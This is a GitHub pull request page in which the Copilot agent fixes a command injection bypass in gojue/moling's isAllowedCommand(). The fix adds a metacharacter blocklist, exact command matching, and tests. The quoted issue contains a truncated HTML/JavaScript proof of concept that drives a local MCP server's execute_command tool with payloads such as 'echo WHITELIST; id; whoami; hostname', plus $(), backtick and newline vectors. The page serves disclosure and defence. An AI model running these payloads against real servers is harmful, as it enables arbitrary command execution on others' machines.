security: fix command injection bypass in isAllowedCommand() by Copilot · Pull Request #46 · gojue/moling

Copilot · 2026-03-15T08:57:59Z

isAllowedCommand() used strings.HasPrefix() for allowlist validation, causing an immediate true return on any prefix match — making the downstream | and & checks dead code and allowing arbitrary shell execution via ;, $(), backticks, or \n appended to any whitelisted command prefix (e.g. echo x; id).

Changes

command.go — isAllowedCommand()
- Add shellInjectionPatterns early-exit guard rejecting any command containing ;, \n, `, $(, or ${ before allowlist evaluation
- Replace strings.HasPrefix(command, allowed) with exact first-token matching: extract strings.Fields(command)[0] and compare against strings.TrimSpace(allowed)
- Fix operator evaluation order: check && before &, and || before |; explicitly trim each part before recursive calls

// Before — prefix match returns immediately; metacharacter checks never reached
for _, allowed := range cs.config.allowedCommands {
    if strings.HasPrefix(command, allowed) {
        return true  // "echo x; id" matches "echo" → shell executes both
    }
}

// After — metacharacters blocked first; exact command-name match only
for _, pattern := range shellInjectionPatterns {   // {";", "\n", "`", "$(", "${"}
    if strings.Contains(command, pattern) {
        return false
    }
}
// ...
cmdName := strings.Fields(command)[0]
for _, allowed := range cs.config.allowedCommands {
    if cmdName == strings.TrimSpace(allowed) {
        return true
    }
}

command_config.go — Fix data bug: "networksetup, git" was a single slice entry; split into "networksetup" and "git" so git is properly matched after the exact-name fix
command_exec_test.go — Add TestIsAllowedCommandInjection covering all five PoC vectors (;, $(), backtick, \n, ${}) as blocked, and legitimate pipe/&&/|| commands as allowed

Warning

Firewall rules blocked me from connecting to one or more addresses (expand for details)

I tried to connect to the following addresses, but was blocked by firewall rules:

ifconfig.me
- Triggering command: /usr/bin/curl curl ifconfig.me /home/REDACTED/go/pkg/mod/github.com/golangci/plugin-module-register@v0.1.1/register/register.go (dns block)
- Triggering command: /usr/bin/curl curl ifconfig.me /home/REDACTED/go/pkg/mod/github.com/santhosh-tekuri/jsonschema/v6@v6.0.1/kind/kind.go (dns block)

If you need me to access, download, or install something from one of these locations, you can either:

Configure Actions setup steps to set up my environment, which run before the firewall is enabled
Add the appropriate URLs or hosts to the custom allowlist in this repository's Copilot coding agent settings (admins only)

Original prompt

This section details on the original issue you should resolve

<issue_title>security vulnerability: command injection</issue_title>
<issue_description>This vulnerability is found by Songwu security researcher,Zeyu Luo security researcher, Dr. CAO Yinfeng, Kevin(The Hong Kong Polytechnic University / HKCT Institute of Higher Education)

vulnerability description

In command.go line 150, strings.HasPrefix() returns true as soon as an allowlisted command prefix is matched, without validating shell metacharacters such as ;, $(), or backticks. Because the input is later executed via sh -c, the shell interprets the full command string, allowing any command appended after a semicolon to be executed.

poc

<!DOCTYPE html>
<!--
  PoC gojue/moling#3 — isAllowedCommand() Semicolon Bypass / Command Injection
  =================================================================
  Root Cause:
    Logic flaw in isAllowedCommand() (command.go:149-153):

      for _, allowed := range cs.config.allowedCommands {
          if strings.HasPrefix(command, allowed) {
              return true   ← returns immediately; never checks ";", "$(", "`", etc.
          }
      }
      // The "|" and "&" checks below are DEAD CODE —
      // the early return above means they are never reached.

    The command is then executed via:
      sh -c "command"
    Shell parses the full syntax:
      "echo x; id"   → executes echo x, then id
      "echo x$(id)"  → echo expands the output of $(id)
      "echo x`cmd`"  → echo expands the backtick expression

  Verification Goal:
    Prove that the whitelist is completely ineffective and arbitrary
    OS commands can be executed.

  Injection Vectors:
    ; semicolon  → "echo x; evil_cmd"
    $()          → "echo $(evil_cmd)"
    ``           → "echo `evil_cmd`"
    newline \n   → "echo x\nevil_cmd"
-->
<html>
<head><meta charset="utf-8"><title>PoC gojue/moling#3 - Command Injection</title>
<style>
  body { font-family: monospace; background: #0d1117; color: #c9d1d9; padding: 20px; }
  pre  { background: gojue/moling#10409; border: 1px solid #30363d; padding: 14px;
         border-radius: 6px; white-space: pre-wrap; }
  .ok  { color: #3fb950; } .err { color: #ff7b72; }
  .info{ color: #79c0ff; } .cmd { color: #e3b341; } .warn{ color: #d29922; }
  table { border-collapse: collapse; margin: 8px 0; font-size: 12px; }
  td,th { border: 1px solid #30363d; padding: 4px 10px; text-align: left; }
  th { background: #161b22; }
</style>
</head>
<body>
<h2>PoC gojue/moling#3 — isAllowedCommand() Semicolon Bypass / Command Injection</h2>
<pre id="out">Waiting...</pre>

<script>
const out = document.getElementById('out');
const log = (s, c='') => {
  const e = document.createElement('span');
  e.className = c; e.textContent = s + '\n';
  out.appendChild(e);
};

const TARGET = 'http://127.0.0.1:6789';
let msgUrl = null, reqId = 0;
const pending = {};

const es = new EventSource(TARGET + '/sse');
es.addEventListener('endpoint', async (e) => {
  msgUrl = e.data.trim();
  es.addEventListener('message', (ev) => {
    try {
      const r = JSON.parse(ev.data);
      if (pending[r.id]) { pending[r.id](r); delete pending[r.id]; }
    } catch(_) {}
  });
  await attack();
});

async function post(method, params) {
  const id = ++reqId;
  await fetch(msgUrl, {
    method: 'POST', mode: 'no-cors',
    headers: { 'Content-Type': 'text/plain' },
    body: JSON.stringify({ jsonrpc:'2.0', method, params, id })
  });
  return new Promise(r => {
    pending[id] = r;
    setTimeout(() => { delete pending[id]; r(null); }, 8000);
  });
}

async function attack() {
  log('=== PoC gojue/moling#3: isAllowedCommand() Semicolon Bypass ===\n');

  // Handshake
  await post('initialize', {
    protocolVersion:'2024-11-05', capabilities:{},
    clientInfo:{name:'poc3',version:'1.0'}
  });
  await post('notifications/initialized', {});

  log('[*] Vulnerable code (command.go:149-153):');
  log('    for _, allowed := range cs.config.allowedCommands {');
  log('        if strings.HasPrefix(command, allowed) {');
  log('            return true  // ← returns immediately; ";" etc. are never checked');
  log('        }');
  log('    }');
  log('    // The "|" and "&" checks below are DEAD CODE — never reached\n');

  // ─────────────────────────────────────────────────────────────
  //  Injection Vector 1: Semicolon ;
  //  "echo WHITELIST; id" → HasPrefix("echo") → true
  //  → sh -c "echo WHITELIST; id" → executes both commands
  // ─────────────────────────────────────────────────────────────
  log('[Vector 1] Semicolon ;', 'warn');
  log('  payload: "echo WHITELIST; id; whoami; hostname"', 'cmd');
  log('  reason:  HasPrefix("echo WHITELIST...", "echo") → true → sh executes all\n');

  const r1 = await post('tools/call', {
    name: 'execute_command',
    arguments: { command: 'echo WHITELIST; id; whoami; hostname' }
  });
  if (r1?.result?.content) {
    r1.result.content.forEach(c => log('  result: ' + c.text.trim(), 'in...

</details>



<!-- START COPILOT CODING AGENT SUFFIX -->

- Fixes gojue/moling#43

<!-- START COPILOT CODING AGENT TIPS -->
---

🔒 GitHub Advanced Security automatically protects Copilot coding agent pull requests. You can protect all pull requests by enabling Advanced Security for your repositories. [Learn more about Advanced Security.](https://gh.io/cca-advanced-security)

- Add shellInjectionPatterns guard to reject commands containing ;, \n, backtick, $(, or ${ before any allowlist evaluation - Replace strings.HasPrefix with exact first-token matching (strings.Fields(command)[0]) to prevent prefix bypass attacks - Fix operator precedence: check && before & and || before | (previously dead code due to early HasPrefix return) - Explicitly trim whitespace from each part before recursive calls - Fix data bug in allowedCmdDefault: split "networksetup, git" into two separate entries "networksetup" and "git" - Add TestIsAllowedCommandInjection covering all five PoC attack vectors plus legitimate command variants Co-authored-by: cfc4n <709947+cfc4n@users.noreply.github.com>

cfc4n

LGTM

Copilot

Pull request overview

This PR fixes a command injection vulnerability in isAllowedCommand() where strings.HasPrefix() allowed bypassing the allowlist by appending shell metacharacters (;, $(), backticks, etc.) to whitelisted command prefixes.

Changes:

Replace prefix-based allowlist matching with exact first-token matching and add a blocklist of shell injection patterns
Fix a data bug where "networksetup, git" was a single entry instead of two separate entries
Add test coverage for injection vectors and legitimate command patterns

Reviewed changes

Copilot reviewed 3 out of 3 changed files in this pull request and generated 2 comments.

File	Description
pkg/services/command/command.go	Rewrite `isAllowedCommand()` with injection pattern blocklist, exact command-name matching, and correct operator precedence for `&&`/`
pkg/services/command/command_config.go	Split `"networksetup, git"` into separate slice entries
pkg/services/command/command_exec_test.go	Add `TestIsAllowedCommandInjection` covering injection vectors and legitimate commands

💡 Add Copilot custom instructions for smarter, more guided reviews. Learn how to get started.

You can also share your feedback on Copilot code review. Take the survey.

pkg/services/command/command.go

 	if strings.Contains(command, "&") {
 		parts := strings.Split(command, "&")
 		for _, part := range parts {
-			part = strings.TrimSpace(part)
-			if !cs.isAllowedCommand(part) {
+			if !cs.isAllowedCommand(strings.TrimSpace(part)) {
 				return false
 			}
 		}
 		return true
 	}


pkg/services/command/command.go


+// shellInjectionPatterns are substrings that indicate potential command injection attempts.
+// Commands containing any of these patterns are rejected before allowlist evaluation.
+var shellInjectionPatterns = []string{";", "\n", "`", "$(", "${"}


Initial plan

5646521

Copilot AI assigned Copilot and cfc4n Mar 15, 2026

Copilot started work on behalf of cfc4n March 15, 2026 08:58 View session

Copilot AI changed the title ~~[WIP] Fix security vulnerability: command injection~~ security: fix command injection bypass in isAllowedCommand() Mar 15, 2026

Copilot AI requested a review from cfc4n March 15, 2026 09:06

Copilot finished work on behalf of cfc4n March 15, 2026 09:06

cfc4n marked this pull request as ready for review March 15, 2026 12:58

Copilot AI review requested due to automatic review settings March 15, 2026 12:58

dosubot bot added the size:L This PR changes 100-499 lines, ignoring generated files. label Mar 15, 2026

Copilot started reviewing on behalf of cfc4n March 15, 2026 12:58 View session

cfc4n approved these changes Mar 15, 2026

View reviewed changes

dosubot bot added the lgtm This PR has been approved by a maintainer label Mar 15, 2026

cfc4n merged commit 3bcb223 into master Mar 15, 2026
8 checks passed

cfc4n deleted the copilot/fix-command-injection-vulnerability branch March 15, 2026 12:59

cfc4n mentioned this pull request Mar 15, 2026

security vulnerability: command injection #43

Closed

dosubot bot added the bug Something isn't working label Mar 15, 2026

Copilot AI reviewed Mar 15, 2026

View reviewed changes

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

security: fix command injection bypass in isAllowedCommand()#46

security: fix command injection bypass in isAllowedCommand()#46
cfc4n merged 2 commits intomasterfrom
copilot/fix-command-injection-vulnerability

Copilot AI commented Mar 15, 2026 •

edited

Loading

Uh oh!

cfc4n left a comment

Uh oh!

Uh oh!

Copilot AI left a comment

Uh oh!

Reviewers

Assignees

Labels

Projects

Milestone

Development

Uh oh!

3 participants

Conversation

Copilot AI commented Mar 15, 2026 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

Changes

I tried to connect to the following addresses, but was blocked by firewall rules:

Uh oh!

cfc4n left a comment

Choose a reason for hiding this comment

Uh oh!

Uh oh!

Copilot AI left a comment

Choose a reason for hiding this comment

Pull request overview

Reviewed changes

Uh oh!

Reviewers

Assignees

Labels

Projects

Milestone

Development

Uh oh!

3 participants

Copilot AI commented Mar 15, 2026 •

edited

Loading